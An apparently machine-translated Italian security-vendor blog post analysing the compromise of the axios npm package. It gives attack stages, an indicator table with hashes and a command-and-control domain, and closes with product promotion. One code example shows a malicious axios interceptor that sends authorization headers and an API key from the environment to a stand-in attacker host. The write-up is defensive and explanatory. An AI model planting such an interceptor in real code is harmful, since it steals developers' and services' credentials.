Compromesso su Axios npm

Compromissione di Axios npm: cosa è successo, chi è stato colpito e come prevenirlo

TL; DR

Il compromesso di Axios npm mostra come gli attacchi moderni alla catena di approvvigionamento sfruttare le dipendenze affidabili per accedere a dati sensibili in fase di esecuzione. Questo incidente è stato analizzato da numerosi ricercatori di sicurezza, comprese analisi dettagliate da Unit42 Analisi di settore che evidenzia i modelli di attribuzione legati all'attività degli stati nazionali.

Questo incidente riguarda:

  • team DevOps in esecuzione CI/CD pipelinecon autenticazione basata sull'ambiente
  • Servizi di backend che gestiscono le richieste API autenticate
  • Applicazioni che utilizzano axios per la comunicazione HTTP interna ed esterna.

Poiché Axios si trova nel livello delle richieste, una versione compromessa può accedere a:

  • Intestazioni di autorizzazione e Token API
  • Variabili d'ambiente e segreti
  • Comunicazione interna del servizio

Il vero impatto non risiede nella dipendenza in sé, ma in ciò a cui essa può accedere una volta eseguita.

Azioni immediate:

  • Blocca le versioni delle dipendenze e rivedi gli aggiornamenti recenti
  • Ruota le chiavi API, i token e CI/CD Credenziali
  • Monitorare le richieste in uscita e l'attività di autenticazione.
  • Audit pipelines per segreti svelati

Cosa è successo nell'attacco ad Axios npm?

L'incidente di Axios si inserisce in un modello sempre più diffuso di attacchi alla catena di fornitura, in cui gli aggressori prendono di mira le dipendenze ampiamente utilizzate anziché le vulnerabilità delle applicazioni.

Compromettendo un pacchetto affidabile, gli aggressori ottengono l'esecuzione simultanea in migliaia di ambienti.

Poiché axios è uno dei client HTTP più utilizzati nell'ecosistema JavaScript, è profondamente integrato in:

  • Servizi di backend
  • Applicazioni frontend
  • CI/CD pipelines

Ciò lo rende un obiettivo di alto valore.

Una volta introdotta ed eseguita, una versione dannosa eredita le stesse autorizzazioni dell'applicazione che l'ha importata. Ciò include l'accesso al traffico di rete, alle credenziali e ai servizi interni.

La violazione ha attirato anche un'attenzione più ampia al di fuori della comunità della sicurezza, con report come Axios copertura 
indicando possibili collegamenti con attori che rappresentano minacce avanzate e campagne coordinate.

 

Cosa fa effettivamente l'attacco Axios in fase di esecuzione

La chiave per comprendere questo attacco sta nel concentrarsi sul comportamento in fase di esecuzione.

Axios opera a livello HTTP, ovvero gestisce le richieste in uscita. Questo gli consente di avere visibilità diretta sui dati sensibili che transitano attraverso l'applicazione.

Una versione compromessa può:

  • Intercetta le richieste in uscita prima che vengano inviate
  • Catturare Authorization intestazioni e token API
  • Accedi alle variabili d'ambiente tramite process.env
  • Osservare la comunicazione tra i servizi interni

Ad esempio, un intercettore malevolo può estrarre le intestazioni di autenticazione e inoltrarle silenziosamente a un endpoint esterno.

Allo stesso tempo, l'accesso alle variabili d'ambiente consente agli aggressori di recuperare le credenziali senza modificare la logica dell'applicazione.

Dall'esterno, tutto continua a funzionare come previsto. Le richieste vengono completate con successo, i servizi rispondono normalmente e pipelineNon mostrano segni di guasto. Allo stesso tempo, dati sensibili potrebbero essere già esposti attraverso percorsi di esecuzione in background.

 

Flusso di attacco di Axios: dal pacchetto compromesso alla divulgazione di informazioni riservate

1. Compromesso

Un utente malintenzionato ottiene il controllo di un account di manutentore fidato o di un percorso di rilascio di un pacchetto all'interno dell'ecosistema Axios.

2. Distribuzione

Le versioni dannose vengono pubblicate su npm e scaricate sui computer degli sviluppatori, CI/CD pipelinee le applicazioni vengono compilate tramite i normali aggiornamenti delle dipendenze.

3. Esecuzione in fase di runtime

Il payload viene eseguito quando axios viene importato e utilizzato, ereditando gli stessi privilegi di runtime dell'applicazione.

4. Accesso segreto

La dipendenza compromessa ottiene visibilità su intestazioni, token, variabili d'ambiente e comunicazioni HTTP interne.

5. Esfiltrazione

I dati sensibili vengono inviati silenziosamente all'infrastruttura controllata dall'attaccante, mentre le richieste originali continuano a funzionare normalmente.

Indicatori di compromesso (IoC)

Per valutare la potenziale esposizione, i team dovrebbero iniziare esaminando gli indicatori noti associati alla compromissione di Axios. La tabella seguente riassume i segnali più rilevanti relativi a pacchetti, attività di rete e artefatti dell'host.

Come interpretare questi indicatori di conformità

Sebbene questi indicatori siano utili, non devono essere considerati una strategia di rilevamento completa.

In pratica, attacchi di questo tipo raramente si basano su un singolo segnale statico. I domini cambiano, i payload si evolvono e gli hash diventano obsoleti rapidamente. Ciò che rimane costante è il comportamento.

Ad esempio, richieste in uscita inattese durante la normale esecuzione di HTTP possono indicare un'esfiltrazione di dati. Allo stesso modo, l'utilizzo di credenziali valide in contesti insoliti spesso segnala che i segreti sono già stati compromessi.

A livello host, la presenza di script o file binari temporanei può suggerire attività post-sfruttamento, soprattutto se combinata con anomalie di rete.

In altre parole, gli IoC ti aiutano a confermare un incidente.

Tuttavia, è la comprensione del comportamento che permette di individuarlo precocemente.

Categoria Dettagli
CONFEZIONE axios@1.14.1 shasum: 2553649f2322049666871cea80a5d0d6adc700ca
CONFEZIONE axios@0.30.4 shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
Dipendenza plain-crypto-js@4.2.1 shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766
Reti sfrclak[.]com Dominio di comando e controllo
Reti 142.11.206[.]73 IP dell'infrastruttura associata
Reti http://sfrclak[.]com:8000/6202033 Punto finale di esfiltrazione osservata
macOS /Library/Caches/com.apple.act.mond SHA256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
Windows %PROGRAMDATA%\wt.exe Potenziale artefatto di persistenza
Windows %TEMP%\6202033.vbs Artefatto di esecuzione basato su script
Windows %TEMP%\6202033.ps1 Payload di PowerShell. SHA256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
Linux /tmp/ld.py SHA256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf

Nota dell'indagine: Questi IoC sono un utile punto di partenza per la caccia alle minacce. Tuttavia, gli aggressori possono ruotare rapidamente domini, payload e artefatti. Per questo motivo, i team dovrebbero correlare questi indicatori con segnali comportamentali come traffico HTTP in uscita inatteso, accesso anomalo a process.enve aggiornamenti insoliti delle dipendenze.

Esempio: come una dipendenza Axios npm compromessa può esfiltrare dati

Per comprendere come funziona in pratica questo attacco npm ad Axios, consideriamo un esempio semplificato.

Axios consente agli sviluppatori di definire degli intercettori di richieste. Questi intercettori vengono eseguiti automaticamente prima di ogni richiesta HTTP.

Una versione dannosa di axios può abusare di questo meccanismo:

const axios = require("axios");

// Malicious interceptor injected into dependency
axios.interceptors.request.use((config) => {
    try {
        const sensitiveData = {
            url: config.url,
            method: config.method,
            headers: config.headers,
            token: process.env.API_KEY,
        };

        require("https").request({
            hostname: "attacker-domain.com",
            path: "/collect",
            method: "POST"
        }).end(JSON.stringify(sensitiveData));

    } catch (e) {}

    return config;
});

Perché l'attacco npm di Axios è pericoloso

A prima vista, non sembra esserci nulla di sbagliato. La richiesta viene eseguita correttamente, l'applicazione si comporta come previsto e pipelines continuano a passare senza errori.

Tuttavia, il dettaglio cruciale si verifica prima che la richiesta venga inviata. Durante quella finestra temporale, la dipendenza compromessa può accedere e raccogliere silenziosamente dati sensibili come intestazioni di autorizzazione, token API, metadati della richiesta e variabili d'ambiente.

Poiché questa logica viene eseguita all'interno di una libreria affidabile che si trova direttamente nel percorso della richiesta HTTP, opera di fatto con gli stessi privilegi dell'applicazione stessa. Di conseguenza, può accedere a dati che normalmente sarebbero protetti da attacchi esterni.

Ciò che rende questa situazione particolarmente pericolosa non è solo l'accesso ai dati, ma anche la mancanza di un impatto visibile. Non si registrano interruzioni di funzionamento, richieste fallite o segnali immediati di un problema. Dal punto di vista operativo, tutto continua a funzionare come previsto.

Nel frattempo, informazioni sensibili potrebbero già uscire dal sistema tramite connessioni in uscita che si mimetizzano con il normale traffico applicativo.

Perché questo è innanzitutto un problema DevOps

Per i team DevOps, questo tipo di attacco è particolarmente difficile da rilevare perché si integra perfettamente nei flussi di lavoro esistenti.

Le dipendenze vengono installate automaticamente, pipelineLe operazioni vengono eseguite normalmente e non si verificano errori immediati.

Al tempo stesso, CI/CD Gli ambienti spesso espongono credenziali di alto valore, tra cui:

  • Token del fornitore di servizi cloud
  • Chiavi di distribuzione
  • CI/CD segreti di autenticazione

Una dipendenza compromessa in esecuzione in questo contesto può accedere direttamente a tali credenziali.

Questo crea una situazione in cui tutto appare normale, mentre in realtà si accede a dati sensibili in background.

Il vero rischio: la divulgazione di segreti su vasta scala

La violazione del protocollo npm di Axios evidenzia un cambiamento fondamentale nelle moderne strategie di attacco.

L'obiettivo non è più sfruttare le vulnerabilità, ma accedere a credenziali valide.

Poiché i sistemi moderni si basano sull'autenticazione basata sull'ambiente, una dipendenza in esecuzione a runtime può accedere a:

  • Chiavi API
  • Token di servizio
  • Credenziali cloud

Queste credenziali non devono essere violate.

Devono solo essere usati.

Ciò consente agli aggressori di spostarsi lateralmente, accedere ai servizi ed estrarre dati utilizzando un'autenticazione legittima.

Di conseguenza, l'impatto dipende da quali segreti vengono rivelati, non da come viene eseguito l'attacco.

Perché gli strumenti di sicurezza tradizionali non riescono a capire questo

Gli approcci tradizionali faticano a rilevare questi attacchi perché si concentrano su vulnerabilità note o firme statiche. Tuttavia, come evidenziato in L'analisi di OpenAI Nell'ambito della compromissione degli strumenti di sviluppo Axios, il rischio reale emerge in fase di esecuzione, dove le dipendenze affidabili interagiscono con dati sensibili.

Tuttavia, una dipendenza compromessa potrebbe non presentare indicatori evidenti.

Ci potrebbe essere:

  • Nessun CVE
  • Nessuna firma dannosa
  • Nessuna sintassi anomala

Allo stesso tempo, l'analisi statica non valuta il comportamento in fase di esecuzione. Non può determinare come una dipendenza interagisce con i dati sensibili una volta eseguita.

Questo crea una lacuna per cui il codice appare sicuro durante l'analisi, ma diventa rischioso durante l'esecuzione.

Come individuare e prevenire gli attacchi di tipo npm su Axios

Prevenire questo tipo di attacco ad Axios tramite npm richiede un passaggio dall'ispezione statica alla consapevolezza in fase di esecuzione.

I team hanno bisogno di visibilità sul comportamento delle dipendenze, non solo sul loro contenuto.

Ciò comprende:

  • Monitoraggio dell'accesso ai dati sensibili in fase di esecuzione
  • Individuare i segreti prima che raggiungano i repository
  • Scansione pipelinee artefatti per credenziali esposte
  • Osservazione dell'attività di rete in uscita per individuare anomalie

Tuttavia, la sola individuazione non è sufficiente.

Dalla diagnosi alla prevenzione: cosa riduce realmente il rischio?

In seguito a un incidente di questo tipo, i team si trovano spesso a dover gestire un gran numero di credenziali potenzialmente esposte.

La sfida non è trovarli, ma identificare quali sono quelli importanti.

La questione chiave diventa:

Quali segreti sono ancora validi e sfruttabili?

Senza un processo di verifica, i team perdono tempo a gestire credenziali inattive, mentre i rischi reali rimangono aperti.

Una risposta efficace richiede:

  • Individuare i segreti svelati
  • Verificare se concedono ancora l'accesso
  • Revocandoli o ruotandoli rapidamente

Ciò riduce il tempo di esposizione e limita il margine di manovra dell'attaccante.

Come Xygeni contribuisce a ridurre i rischi della catena di approvvigionamento

Xygeni Affronta questa sfida combinando rilevamento, verifica e correzione in un unico flusso di lavoro.

Identifica continuamente i segreti esposti nel codice, pipelinee artefatti. Allo stesso tempo, verifica se tali credenziali sono ancora attive nell'ambiente.

Ciò consente alle squadre di concentrarsi su ciò che gli attaccanti potrebbero effettivamente utilizzare.

Una volta identificati i segreti attivi, i flussi di lavoro di bonifica automatizzati contribuiscono a ridurre i tempi di esposizione tramite revoca o rotazione controllata.

Di conseguenza, la risposta diventa più rapida, più precise, e meno dirompente.

Conclusione

La violazione del protocollo npm di Axios riflette l'evoluzione degli attacchi alla catena di approvvigionamento.

Gli aggressori non hanno più bisogno di violare i sistemi. Si affidano a dipendenze affidabili per accedere ai dati sensibili durante l'esecuzione.

Per i team DevOps, questo significa comprendere il comportamento in fase di esecuzione. Per i responsabili della sicurezza, significa ridurre l'esposizione in modo rapido ed efficace.

Perché negli ambienti moderni, il rischio maggiore non è ciò che viene eseguito.

È ciò a cui si accede una volta che il programma è in esecuzione.

sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Prova gratuita 7-day
Nessuna carta di credito richiesta

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni